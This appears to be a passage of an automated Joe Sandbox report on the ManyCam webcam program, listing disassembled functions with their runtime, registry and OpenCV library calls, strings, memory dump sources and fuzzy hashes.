Instruction Fuzzy Hash: 7B214178E00204EFCB44EFA5C6A0E6FBB75AF89315B14819EE4055B311D738EE41CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00490E90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,0049315F,?,00000000,?,?,0048D60B,000000FF,?,?,00499CB6,?,?,?,00531AE6,000000FF), ref: 00490EA1
_invalid_parameter_noinfo.MSVCR80(00000003,?,0049315F,?,00000000,?,?,0048D60B,000000FF,?,?,00499CB6,?,?,?,00531AE6), ref: 00490EBE

Strings

_1I, xrefs: 00490F0E, 00490F3F, 00490F1E, 00490F34, 00490F11, 00490F21

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: _1I
API String ID: 3215553584-1375489561
Opcode ID: f8a0f0cd8858169583a3bfb7bac23ac9426c047314b7327a1f008bdd9c0947f0
Instruction ID: 39ed61a2cd6add22cacd6874f090497504692926125bc87bb284fc13d1f3f6b2
Opcode Fuzzy Hash: f8a0f0cd8858169583a3bfb7bac23ac9426c047314b7327a1f008bdd9c0947f0
Instruction Fuzzy Hash: 12213E74A00204EFCF04EFA5C58086EBF76AF89315B1489AEE4459B305CB38EA41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00407190 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000040,?,00000000,00000040,?,?,004C7AEB,AppVersion,?,00000040,80000002,SOFTWARE\ManyCam,00020019), ref: 004071CC

Strings

zL, xrefs: 004071C6
zL, xrefs: 004071A1, 004071AB

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: QueryValue
String ID: zL$zL
API String ID: 3660427363-3006479296
Opcode ID: 9f65d8b26e372b6834f41cd3cc3a1fe9bf163b5c16fb74d4df2668fbdcee74fa
Instruction ID: fe241e5347fe9cda23539dab786d815e97edc30d153e6fd0c4fb1542d65cb657
Opcode Fuzzy Hash: 9f65d8b26e372b6834f41cd3cc3a1fe9bf163b5c16fb74d4df2668fbdcee74fa
Instruction Fuzzy Hash: 90211074A04209EBDB18CF99C454BAFB7B1FF84300F1085AEE911AB3D0D778A941CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004535B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B77A0: fwprintf.MSVCR80 ref: 004B7842
Part of subcall function 004B77A0: fflush.MSVCR80 ref: 004B7852

clock.MSVCR80 ref: 00453606
_DebugHeapAllocator.LIBCPMTD ref: 00453624

Strings

Entering: %s, xrefs: 004535F0

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapclockfflushfwprintf
String ID: Entering: %s
API String ID: 1338021872-1508582857
Opcode ID: 0a03b20c66a4bdf864266057b93037efe44b4c8f81b8abca9714b6f92b0e190a
Instruction ID: 630723a52c49dda7b07cbf3efddf69ebd1aec7d1a56bd84d85dfb89b8348d68f
Opcode Fuzzy Hash: 0a03b20c66a4bdf864266057b93037efe44b4c8f81b8abca9714b6f92b0e190a
Instruction Fuzzy Hash: CE1130B5904209EFDB04DF98D841AAEB7B4FF48714F00865DF82597381D7746904CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01724770 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvGetSeqReaderPos,017A124F,.\cxdatastructs.cpp,000004A5), ref: 017247D7

Strings

.\cxdatastructs.cpp, xrefs: 017247C6
cvGetSeqReaderPos, xrefs: 017247D0

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxdatastructs.cpp$cvGetSeqReaderPos
API String ID: 2619118453-1054045417
Opcode ID: b26618229127c7ab80e7f60fc9b1bb5900bf0169f7351d033dabe6161d7ba6dc
Instruction ID: 4123a66a16fe0918290ebbcf5b2cdebb8c30f58bf1dbd0d3d56d71bb0f7a11fc
Opcode Fuzzy Hash: b26618229127c7ab80e7f60fc9b1bb5900bf0169f7351d033dabe6161d7ba6dc
Instruction Fuzzy Hash: 5001A7773047115BD624DD2ED8A0896F7A2EBD5A313194B2CD56797795C320F842CA90

Uniqueness

Uniqueness Score: -1.00%

Function 01724520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvFlushSeqWriter,017A124F,.\cxdatastructs.cpp,000003DA), ref: 0172453F

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

Strings

.\cxdatastructs.cpp, xrefs: 0172452E
cvFlushSeqWriter, xrefs: 01724538

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxdatastructs.cpp$cvFlushSeqWriter
API String ID: 1596131371-1111835215
Opcode ID: 5b5bb2cb572138fba9173bcb9f7d2a9ebd210357c9b846b0b24336acc0609a8f
Instruction ID: e053a5ba159f102feb011be144be8a093bdc9d565b92a3736abf0dba5d895099
Opcode Fuzzy Hash: 5b5bb2cb572138fba9173bcb9f7d2a9ebd210357c9b846b0b24336acc0609a8f
Instruction Fuzzy Hash: FF01ADB67007119FC710CF1AE890D56F3E5BB88B24B25855DE96A9BB46C730FC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004AE2E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,004AE1A3,CJ,00000000,?,004AE043,?,?,00000000,000000FF,004AD900,00000000,?,?,000000FF), ref: 004AE2EF
_invalid_parameter_noinfo.MSVCR80(?,?,004AE1A3,CJ,00000000,?,004AE043,?,?,00000000,000000FF,004AD900,00000000,?,?,000000FF), ref: 004AE32B

Strings

CJ, xrefs: 004AE2F9, 004AE335, 004AE312

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: CJ
API String ID: 3215553584-1577928124
Opcode ID: 70cad1bad6b93677a8aa04d1a4551bdbb9f1c5421a9a58d61efe08efc66d9194
Instruction ID: 1e5a07180b79b9d77b03a7b872fd22e8548e40f80d8fa90e55785185c90aae0e
Opcode Fuzzy Hash: 70cad1bad6b93677a8aa04d1a4551bdbb9f1c5421a9a58d61efe08efc66d9194
Instruction Fuzzy Hash: A401D731600008DFCB08DF59D694A6EFBB6EF66301F258199E9069B355C734AE50DB88

Uniqueness

Uniqueness Score: -1.00%

Function 004E29E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,004E1883,CN,000000FF,?,004E0A43,?,?,000000FF,?), ref: 004E29EF
_invalid_parameter_noinfo.MSVCR80(?,?,004E1883,CN,000000FF,?,004E0A43,?,?,000000FF,?), ref: 004E2A25

Strings

CN, xrefs: 004E29FF, 004E2A35, 004E2A15

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: CN
API String ID: 3215553584-3860229782
Opcode ID: 3ded8f196a3c02e06d8d6a8014f10332241c82d37bf5bc7cecde32a8ae69c9c0
Instruction ID: 055c263bba3631ac84532d8d275a506bca3ff744e03e32cc4505f628b268f32f
Opcode Fuzzy Hash: 3ded8f196a3c02e06d8d6a8014f10332241c82d37bf5bc7cecde32a8ae69c9c0
Instruction Fuzzy Hash: 6D110234A00049EFCB14DF45C280DADB7B6FB99305B25C299E8068B315DB31AF46DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,004129C3,C A,00000000,?,00412043,?,?,00000000,-0000012B,0040F9E0,00000000,?,?,-0000012B), ref: 00412C2F
_invalid_parameter_noinfo.MSVCR80(?,?,004129C3,C A,00000000,?,00412043,?,?,00000000,-0000012B,0040F9E0,00000000,?,?,-0000012B), ref: 00412C65

Strings

C A, xrefs: 00412C39, 00412C6F, 00412C4F

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: C A
API String ID: 3215553584-432193327
Opcode ID: dd3759dd0edff71de197c755aad0b75e312425a4acb4d65829b04bcd21f34736
Instruction ID: d50c8c72ee7c7c5e73367f5c550ec2d48e9c8be17f747839894a4a99daa275eb
Opcode Fuzzy Hash: dd3759dd0edff71de197c755aad0b75e312425a4acb4d65829b04bcd21f34736
Instruction Fuzzy Hash: 0E01E931600008DFCB08CF48D7D49ADFBB6EF69345B668199E5069B315D730EE90DB98

Uniqueness

Uniqueness Score: -1.00%

Function 017244A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvStartAppendToSeq,017A124F,.\cxdatastructs.cpp,000003AC), ref: 01724508

Strings

cvStartAppendToSeq, xrefs: 01724501
.\cxdatastructs.cpp, xrefs: 017244F7

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxdatastructs.cpp$cvStartAppendToSeq
API String ID: 2619118453-1106310781
Opcode ID: 180dc9abfe16a146eb74efd020606952c88c74ec946470620ebf3c475a39b75a
Instruction ID: 4fcba536ca94b3b5a9bc1c7b7d455f6b9d524e9c915bf462e63f880d3b134e05
Opcode Fuzzy Hash: 180dc9abfe16a146eb74efd020606952c88c74ec946470620ebf3c475a39b75a
Instruction Fuzzy Hash: C001A2B4B092119FD70CCF09E555D12BBE1BB88B1075AC1ADE54E8B3A6C730D940DF99

Uniqueness

Uniqueness Score: -1.00%

Function 004228B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetCursorInfo.USER32(00000014), ref: 004228C4
ScreenToClient.USER32(?,?), ref: 004228D5

Strings

(B, xrefs: 004228EC, 004228EF, 004228F9

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ClientCursorInfoScreen
String ID: (B
API String ID: 1381309574-891251851
Opcode ID: 183b5d1f9ba3f3a11c0528ae00216a5e4976ffd3210267904aec7597f6dd3387
Instruction ID: 56ec9ec03ba55985748cef6039b39fbaea006a6cc74428b082933960e72c1f85
Opcode Fuzzy Hash: 183b5d1f9ba3f3a11c0528ae00216a5e4976ffd3210267904aec7597f6dd3387
Instruction Fuzzy Hash: 89F0ECB5A00209AFCB04DF98D985C9EBBB9FF88310F10C158FA49A7350D730EA45DB91

Uniqueness

Uniqueness Score: -1.00%

Function 004B7880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 00454C20: _time64.MSVCR80 ref: 00454C25

fwprintf.MSVCR80 ref: 004B78B3
fflush.MSVCR80 ref: 004B78C3

Strings

| %x %X | , xrefs: 004B7892

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: _time64fflushfwprintf
String ID: | %x %X |
API String ID: 804399740-1669508960
Opcode ID: a995debcebdf332dee2d0cd15bea4d7e243787ad81cf3f31d987c7b7fad9b84e
Instruction ID: 998b554e6e78045c2d5deda0b84162204a47a87edbaee598bb3a96ab0b245df9
Opcode Fuzzy Hash: a995debcebdf332dee2d0cd15bea4d7e243787ad81cf3f31d987c7b7fad9b84e
Instruction Fuzzy Hash: 4BF05471C01108ABDF04FB95DD868AEB738FF54309B5045A9E91667242DB34AA1CCBE5

Uniqueness

Uniqueness Score: -1.00%

Function 004150C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

memmove_s.MSVCR80 ref: 004150FA

Strings

nAA, xrefs: 004150C9
nAA, xrefs: 004150D2

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: memmove_s
String ID: nAA$nAA
API String ID: 1646303785-1657967095
Opcode ID: 48a814f637bbc169a426d2c1a272fa5cac1a1cc5ee3381e8494429463483b6d0
Instruction ID: 831bdc283bfef77eb9b1cad694d4ede0d3f081278f3ad19dba345cc0dbbac6ca
Opcode Fuzzy Hash: 48a814f637bbc169a426d2c1a272fa5cac1a1cc5ee3381e8494429463483b6d0
Instruction Fuzzy Hash: 0CF0D47090010DEFCB14DF9CC885D9EBBB8FB88344F10829DE919A7300E630EAA5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00452560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27windowCOMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 00452578
SendMessageW.USER32(00000000,0000102B,00000003,00000000), ref: 0045259F

Strings

sF, xrefs: 00452586

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MessageSendmemset
String ID: sF
API String ID: 568519121-1799171085
Opcode ID: 4f7f968d2f1bddc4f09a461e00c76bc8674273fced99d0374c36e351c40e598a
Instruction ID: 820b5049f95e3a72b0bc4be9787ca9bc2384040a12e4f1db62f2bb420236fa95
Opcode Fuzzy Hash: 4f7f968d2f1bddc4f09a461e00c76bc8674273fced99d0374c36e351c40e598a
Instruction Fuzzy Hash: BEF07AB5D44208ABDB14DF94E885EDEB779BB58700F008119F915A7380E770A9158B95

Uniqueness

Uniqueness Score: -1.00%

Function 017A0730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

cvRegisterType.CXCORE099 ref: 017A077C

Part of subcall function 017875D0: isalpha.MSVCR80 ref: 01787619
Part of subcall function 017875D0: cvError.CXCORE099(000000FB,cvRegisterType,Type name should start with a letter or _,.\cxpersistence.cpp,000012F6), ref: 01787641

Part of subcall function 0179FE87: __onexit.MSVCRT ref: 0179FE8B

Strings

(, xrefs: 017A0744
opencv-graph, xrefs: 017A074C

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorRegisterType__onexitisalpha
String ID: ($opencv-graph
API String ID: 3878073915-4265847970
Opcode ID: c2e868321c0fc87d6440a9102b46e1e21b72e2854037e34282660a3c88fe3f62
Instruction ID: c781cc545285c47132f4fd5767c74993e8f27443d6d1ac0bfced22120169503e
Opcode Fuzzy Hash: c2e868321c0fc87d6440a9102b46e1e21b72e2854037e34282660a3c88fe3f62
Instruction Fuzzy Hash: B2F07FB044D345AEC758EF55D58858BFFE0BB98718F908D2DE09896214EB3582888FA6

Uniqueness

Uniqueness Score: -1.00%

Function 017A07A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

cvRegisterType.CXCORE099 ref: 017A07EC

Part of subcall function 017875D0: isalpha.MSVCR80 ref: 01787619
Part of subcall function 017875D0: cvError.CXCORE099(000000FB,cvRegisterType,Type name should start with a letter or _,.\cxpersistence.cpp,000012F6), ref: 01787641

Part of subcall function 0179FE87: __onexit.MSVCRT ref: 0179FE8B

Strings

(, xrefs: 017A07B4
opencv-sparse-matrix, xrefs: 017A07BC

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorRegisterType__onexitisalpha
String ID: ($opencv-sparse-matrix
API String ID: 3878073915-3204208849
Opcode ID: e543e960e68c10c13ff9a8b755c299ccf8472b1dbdd87e4d904fa80bd4cc0db8
Instruction ID: c62c393a1712bb78d559974e92f61a7cdc9cbde2fb7d5ee8123bd6a4bf7b73da
Opcode Fuzzy Hash: e543e960e68c10c13ff9a8b755c299ccf8472b1dbdd87e4d904fa80bd4cc0db8
Instruction Fuzzy Hash: 07F0F2B054A3459FC348EF55D48865BFFF0BB88248F608D2DE0D986214E73192488F86

Uniqueness

Uniqueness Score: -1.00%

Function 00523211 Relevance: 5.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000000D,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?,0000040A,00000000), ref: 0052318D
HeapAlloc.KERNEL32(00000000,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?,0000040A,00000000,00000000), ref: 00523194

Part of subcall function 0052309D: IsProcessorFeaturePresent.KERNEL32(0000000C,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?,0000040A), ref: 005230A0

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?), ref: 005231B6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?), ref: 005231E3

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocHeapVirtual$FeatureFreePresentProcessProcessor
String ID:
API String ID: 4058086966-0
Opcode ID: 0c4867eb5bd92bb6381ce8f4e327ffa02bccf704549b714ad9cee9f0e79b5bb8
Instruction ID: b5a60a9bbef02a3c563d751fc20c4e74480abeb514ab3cab8f797184bd5a284a
Opcode Fuzzy Hash: 0c4867eb5bd92bb6381ce8f4e327ffa02bccf704549b714ad9cee9f0e79b5bb8
Instruction Fuzzy Hash: 3711D631240231AFEB21176CFC0AB663E65BF67741F100820FA11D62E0D738CD08EAA0

Uniqueness

Uniqueness Score: -1.00%

